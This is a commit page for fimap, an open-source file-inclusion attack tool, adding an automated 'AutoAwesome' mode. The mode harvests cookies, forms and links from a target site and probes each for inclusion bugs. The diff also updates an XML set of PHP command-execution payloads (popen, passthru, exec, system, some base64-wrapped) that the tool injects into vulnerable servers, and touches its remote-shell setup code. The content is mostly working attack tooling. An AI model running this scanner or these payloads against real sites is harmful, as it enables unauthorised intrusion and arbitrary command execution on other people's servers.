Commit 1120c76b authored by fimap.dev@gmail.com's avatar fimap.dev@gmail.com

Added experimental 'AutoAwesome' mode.

parent e486eb0b
#
# This file is part of fimap.
#
# Copyright(c) 2009-2010 Iman Karim(ikarim2s@smail.inf.fh-brs.de).
# http://fimap.googlecode.com
#
# This file may be licensed under the terms of of the
# GNU General Public License Version 2 (the ``GPL'').
#
# Software distributed under the License is distributed
# on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either
# express or implied. See the GPL for the specific language
# governing rights and limitations.
#
# You should have received a copy of the GPL along with this
# program. If not, go to http://www.gnu.org/licenses/gpl.html
# or write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
from baseClass import baseClass
from targetScanner import targetScanner
from singleScan import singleScan
from xgoogle import BeautifulSoup
from copy import deepcopy
from crawler import crawler
import sys, time, Cookie
__author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)"
__date__ ="$09.11.2010 01:29:37$"
class autoawesome(baseClass):
def _load(self):
self.URL = None
def setURL(self, URL):
self.URL = URL
def scan(self):
print "Requesting '%s'..." %(self.URL)
extHeader = ""
code, headers = self.doRequest(self.URL, self.config["p_useragent"], self.config["p_post"], self.config["header"], self.config["p_ttl"])
for head in headers:
if head[0] in ("set-cookie", "set-cookie2"):
cookie = head[1]
c = Cookie.SimpleCookie()
c.load(cookie)
for k,v in c.items():
extHeader += "%s=%s; " %(k, c[k].value)
if (extHeader != ""):
print "Cookies retrieved. Using them for further requests."
extHeader = extHeader.strip()[:-1]
if (self.config["header"].has_key("Cookie") and extHeader != ""):
print "WARNING: AutoAwesome mode got some cookies from the server."
print "Your defined cookies will be overwritten!"
if (extHeader != ""):
print "Testing file inclusion against given cookies..."
self.config["header"]["Cookie"] = extHeader
single = singleScan(self.config)
single.setURL(self.URL)
single.setQuite(True)
single.scan()
soup = BeautifulSoup.BeautifulSoup(''.join(code))
idx = 0
for form in soup.findAll("form"):
idx += 1
caption = None
desturl = None
method = None
if (soup.has_key("action")):
desturl = soup["action"]
else:
desturl = self.URL
if (form.has_key("name")):
caption = form["name"]
else:
caption = "Unnamed Form #%d" %(idx)
if (form.has_key("method")):
if (form["method"].lower() == "get"):
method = 0
else:
method = 1
else:
method = 1 # If no method is defined assume it's POST.
params = ""
for input in form.findAll("input"):
if (input.has_key("name")):
input_name = input["name"]
input_val = None
if (input.has_key("value")):
input_val = input["value"]
if (input_val == None):
params += "%s=&" %(input_name)
else:
params += "%s=%s&" %(input_name, input_val)
else:
print "An input field doesn't have an 'name' attribute! Skipping it."
if ("&" in params):
params = params[:-1]
print "Analyzing form '%s' for file inclusion bugs." %(caption)
modConfig = deepcopy(self.config)
if (method == 0):
# Append the current get params to the current URL.
if ("?" in desturl):
# There are already params in the URL.
desturl = "%s&%s" %(desturl, params)
else:
# There are no other params.
desturl = "%s&?%s" %(desturl, params)
else:
currentPost = modConfig["p_post"]
if (currentPost == None or currentPost == ""):
currentPost = params
else:
currentPost = currentPost + "&" + params
modConfig["p_post"] = currentPost
single = singleScan(modConfig)
single.setURL(desturl)
single.setQuite(True)
single.scan()
print "Starting harvester engine to get links (Depth: 0)..."
crawl = crawler(self.config)
crawl.crawl_url(self.URL, 0)
if (len(crawl.urlpool) == 0):
print "No links found."
else:
print "Harvesting done. %d links found. Analyzing links now..."%(len(crawl.urlpool))
for url in crawl.urlpool:
single = singleScan(self.config)
single.setURL(str(url[0]))
single.setQuite(True)
single.scan()
print "AutoAwesome is done."
\ No newline at end of file
......@@ -32,7 +32,7 @@ class baseTools(object):
BOX_HEADER_STYLE = (1, 1)
BOX_SPLITTER_STYLE = (3, 0)
def getRandomStr(self):
chars = string.letters + string.digits
ret = ""
......@@ -105,6 +105,13 @@ class baseTools(object):
size = len(txt)
if (realsize != -1): size = realsize
suffix = " " * (maxlen - size-1)
if (self.use_color):
coloredtxt = txt
if (txt.startswith("::")): # Informative Inline Message
coloredtxt = self.__getColorLine(txt, self.BOX_SPLITTER_STYLE)
print self.boxsymbol + coloredtxt + suffix + self.boxsymbol
else:
print self.boxsymbol + txt + suffix + self.boxsymbol
def __getLongestLine(self, textarray, header):
......@@ -131,3 +138,4 @@ class baseTools(object):
print "Updating..."
os.unlink(orginal_file)
shutil.copy(replacement_file, orginal_file)
......@@ -250,6 +250,9 @@ class codeinjector(baseClass):
print "Failed to setup shell! The resulting string was empty!"
break
curdir = "<null_dir>"
curusr = "<null_user>"
if len(tmp.split("\n")) >= 2:
curdir = tmp.split("\n")[0].strip()
curusr = tmp.split("\n")[1].strip()
......
<?xml version="1.0" encoding="UTF-8"?>
<fimap language="php" revision="2" force_inclusion_test="0" autor="Iman Karim (ikarim2s@smail.inf.fh-brs.de)" >
<fimap language="php" revision="3" force_inclusion_test="0" autor="Iman Karim (ikarim2s@smail.inf.fh-brs.de)" >
<snipe regex="Failed opening( required)* '(?P&lt;incname&gt;[\d\w/\.\-:\\]*?%s[\d\w/\.\-\\]*?)' (for inclusion)*" />
<relative_files>
......@@ -19,20 +19,20 @@
<exec_methods>
<exec unix="1" win="0" dobase64="1" name="popen[b64]" source='&lt;?php $h=popen(base64_decode("__PAYLOAD__") . " 2&gt;&amp;1", "r");while(!feof($h)){$l=fread($h, 2024);echo $l;}?&gt;' />
<exec unix="1" win="0" dobase64="1" name="passthru[b64]" source='&lt;?php passthru (base64_decode("__PAYLOAD__"). " 2&gt;&amp;1"); ?&gt;' />
<exec unix="1" win="0" dobase64="1" name="exec[b64]" source='&lt;?php echo exec (base64_decode("__PAYLOAD__"). " 2&gt;&amp;1"); ?&gt;' />
<exec unix="1" win="0" dobase64="1" name="exec[b64]" source='&lt;?php exec(base64_decode("__PAYLOAD__"). " 2&gt;&amp;1", $arr); $data = join("\n",$arr); echo $data; ?&gt;' />
<exec unix="1" win="0" dobase64="1" name="popen[b64]" source='&lt;?php system (base64_decode("__PAYLOAD__"). " 2&gt;&amp;1"); ?&gt;' />
<exec unix="1" win="0" dobase64="0" name="popen" source='&lt;?php $h=popen("__PAYLOAD__" . " 2&gt;&amp;1", "r");while(!feof($h)){$l=fread($h, 2024);echo $l;}?&gt;' />
<exec unix="1" win="0" dobase64="0" name="passthru" source='&lt;?php passthru ("__PAYLOAD__". " 2&gt;&amp;1"); ?&gt;' />
<exec unix="1" win="0" dobase64="0" name="exec" source='&lt;?php echo exec ("__PAYLOAD__". " 2&gt;&amp;1"); ?&gt;' />
<exec unix="1" win="0" dobase64="0" name="exec" source='&lt;?php exec("__PAYLOAD__". " 2&gt;&amp;1", $arr); $data = join("\n", $arr); echo $data; ?&gt;' />
<exec unix="1" win="0" dobase64="0" name="system" source='&lt;?php system ("__PAYLOAD__". " 2&gt;&amp;1"); ?&gt;' />
<exec unix="0" win="1" dobase64="1" name="popen[b64][win]" source='&lt;?php $h=popen(base64_decode("__PAYLOAD__") , "r");while(!feof($h)){$l=fread($h, 2024);echo $l;}?&gt;' />
<exec unix="0" win="1" dobase64="1" name="passthru[b64][win]" source='&lt;?php passthru (base64_decode("__PAYLOAD__")); ?&gt;' />
<exec unix="0" win="1" dobase64="1" name="exec[b64][win]" source='&lt;?php echo exec (base64_decode("__PAYLOAD__")); ?&gt;' />
<exec unix="0" win="1" dobase64="1" name="exec[b64][win]" source='&lt;?php exec(base64_decode("__PAYLOAD__"), $arr); $data = join("\n",$arr); echo $data; ?&gt;' />
<exec unix="0" win="1" dobase64="1" name="popen[b64][win]" source='&lt;?php system (base64_decode("__PAYLOAD__")); ?&gt;' />
<exec unix="0" win="1" dobase64="0" name="popen[win]" source='&lt;?php $h=popen("__PAYLOAD__" , "r");while(!feof($h)){$l=fread($h, 2024);echo $l;}?&gt;' />
<exec unix="0" win="1" dobase64="0" name="passthru[win]" source='&lt;?php passthru ("__PAYLOAD__"); ?&gt;' />
<exec unix="0" win="1" dobase64="0" name="exec[win]" source='&lt;?php echo exec ("__PAYLOAD__"); ?&gt;' />
<exec unix="0" win="1" dobase64="0" name="exec[win]" source='&lt;?php exec ("__PAYLOAD__", $arr); $data = join("\n",$arr); echo $data; ?&gt;' />
<exec unix="0" win="1" dobase64="0" name="system[win]" source='&lt;?php system ("__PAYLOAD__"); ?&gt;' />
</exec_methods>
......
......@@ -64,6 +64,9 @@ class crawler:
return(cnt)
def crawl_url(self, url, level=0):
if (url.count("/") == 2): # If the user provides 'http://www.google.com' append an / to it.
url += "/"
code = self.__simpleGetRequest(url)
domain = self.getDomain(url, True)
......
......@@ -20,6 +20,7 @@
#
from plugininterface import plugininterface
from plugininterface import pluginXMLInfo
import autoawesome
import baseClass, baseTools
from codeinjector import codeinjector
from crawler import crawler
......@@ -34,8 +35,7 @@ import shutil
__author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)"
__date__ ="$30.08.2009 19:57:21$"
__version__ = "09_svn"
__version__ = "09_svn (For the Swarm)"
config = {}
......@@ -58,6 +58,10 @@ def show_help(AndQuit=False):
print " -H , --harvest Mode to harvest a URL recursivly for new URLs."
print " Needs a root url (-u) to start crawling there."
print " Also needs (-w) to write a URL list for mass mode."
print " -4 , --autoawesome With the AutoAwesome mode fimap will fetch all"
print " forms and headers found on the site you defined"
print " and tries to find file inclusion bugs thru them. Needs an"
print " URL (-u)."
print "## Techniques:"
print " -b , --enable-blind Enables blind FI-Bug testing when no error messages are printed."
print " Note that this mode will cause lots of requests compared to the"
......@@ -211,7 +215,7 @@ def show_report():
if __name__ == "__main__":
config["p_url"] = None
config["p_mode"] = 0 # 0=single ; 1=mass ; 2=google ; 3=crawl
config["p_mode"] = 0 # 0=single ; 1=mass ; 2=google ; 3=crawl ; 4=autoawesome
config["p_list"] = None
config["p_verbose"] = 2
config["p_useragent"] = "fimap.googlecode.com/v%s" %__version__
......@@ -286,8 +290,9 @@ if __name__ == "__main__":
"show-my-ip" , "enable-blind", "http-proxy=" , "ttl=" , "post=" , "no-auto-detect",
"plugins" , "enable-color", "update-def" , "merge-xml=" , "install-plugins" , "results=",
"googlesleep=" , "dot-truncation", "dot-trunc-min=", "dot-trunc-max=", "dot-trunc-step=", "dot-trunc-ratio=",
"tab-complete" , "cookie=" , "bmin=" , "bmax=" , "dot-trunc-also-unix", "multiply-term="]
optlist, args = getopt.getopt(sys.argv[1:], "u:msl:v:hA:gq:p:sxHw:d:bP:CIDTM:", longSwitches)
"tab-complete" , "cookie=" , "bmin=" , "bmax=" , "dot-trunc-also-unix", "multiply-term=",
"autoawesome"]
optlist, args = getopt.getopt(sys.argv[1:], "u:msl:v:hA:gq:p:sxHw:d:bP:CIDTM:4", longSwitches)
startExploiter = False
......@@ -302,6 +307,8 @@ if __name__ == "__main__":
config["p_mode"] = 2
if (k in ("-H", "--harvest")):
config["p_mode"] = 3
if (k in ("-4", "--autoawesome")):
config["p_mode"] = 4
if (k in ("-l", "--list")):
config["p_list"] = v
if (k in ("-q", "--query")):
......@@ -614,7 +621,9 @@ if __name__ == "__main__":
if (config["p_write"] == None and config["p_mode"] == 3):
print "Output file to write the URLs to is needed in Harvest Mode. (-w)"
sys.exit(1)
if (config["p_url"] == None and config["p_mode"] == 4):
print "Root URL required for AutoAwesome. (-u)"
sys.exit(1)
if (config["p_monkeymode"] == True):
print "Blind FI-error checking enabled."
......@@ -646,6 +655,12 @@ if __name__ == "__main__":
c = crawler(config)
c.crawl()
elif(config["p_mode"] == 4):
print "AutoAwesome mode engaging URL '%s'..." %(config["p_url"])
awe = autoawesome.autoawesome(config)
awe.setURL(config["p_url"])
awe.scan()
except KeyboardInterrupt:
print "\n\nYou have terminated me :("
......
......@@ -57,14 +57,14 @@ class singleScan(baseClass):
header = "[%d] Possible File Inclusion"%(idx)
if (report.getLanguage() != None):
header = "[%d] Possible %s-File Inclusion"%(idx, report.getLanguage())
boxarr.append("::REQUEST::")
boxarr.append("::REQUEST")
boxarr.append(" [URL] %s"%report.getURL())
if (report.getPostData() != None and report.getPostData() != ""): boxarr.append(" [POST] %s"%report.getPostData())
if (report.getHeader() != None and report.getHeader().keys() > 0):
modkeys = ",".join(report.getHeader().keys())
boxarr.append(" [HEAD SENT] %s"%(modkeys))
boxarr.append("::VULN INFO::")
boxarr.append("::VULN INFO")
if (report.isPost == 0):
boxarr.append(" [GET PARAM] %s"%report.getVulnKey())
elif (report.isPost == 1):
......
......@@ -47,9 +47,9 @@ class targetScanner (baseClass.baseClass):
self.Target_URL = url
self._log("Inspecting URL '%s'..."%(self.Target_URL), self.LOG_ALWAYS)
self._log("Analyzing provided GET params...", self.LOG_DEBUG);
if (self.Target_URL.count("?") == 0):
self._log("Target URL doesn't have any params.", self.LOG_DEBUG);
self._log("Target URL doesn't have any GET params.", self.LOG_DEBUG);
else:
data = self.Target_URL.split("?")[1]
if (data.find("&") == -1):
......@@ -58,6 +58,7 @@ class targetScanner (baseClass.baseClass):
for ln in data.split("&"):
self.__addToken(self.params, ln)
self._log("Analyzing provided POST params...", self.LOG_DEBUG);
post = self.config["p_post"]
if (post != ""):
if (post.find("&") == -1):
......@@ -65,7 +66,10 @@ class targetScanner (baseClass.baseClass):
else:
for ln in post.split("&"):
self.__addToken(self.postparams, ln)
else:
self._log("No POST params provided.", self.LOG_DEBUG);
self._log("Analyzing provided headers...", self.LOG_DEBUG);
header = self.config["header"]
if (len(header) > 0):
for key, headerString in header.items():
......@@ -75,7 +79,8 @@ class targetScanner (baseClass.baseClass):
else:
for ln in headerString.split(";"):
self.__addToken(self.header[key], ln)
else:
self._log("No headers provided.", self.LOG_DEBUG);
return(len(self.params)>0 or len(self.postparams)>0 or len(self.header)>0)
......@@ -99,9 +104,13 @@ class targetScanner (baseClass.baseClass):
self._log("Requesting: '%s'..." %(tmpurl), self.LOG_DEBUG)
code = self.doGetRequest(tmpurl, additionalHeaders=headDict)
else:
self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, post), self.LOG_DEBUG)
self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, tmppost), self.LOG_DEBUG)
code = self.doPostRequest(tmpurl, tmppost, additionalHeaders=headDict)
if (len(headDict)>0):
for k,v in headDict.items():
self._log(" Header: '%s' -> %s"%(k, v), self.LOG_DEBUG)
xml2config = self.config["XML2CONFIG"]
READFILE_ERR_MSG = xml2config.getAllReadfileRegex()
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment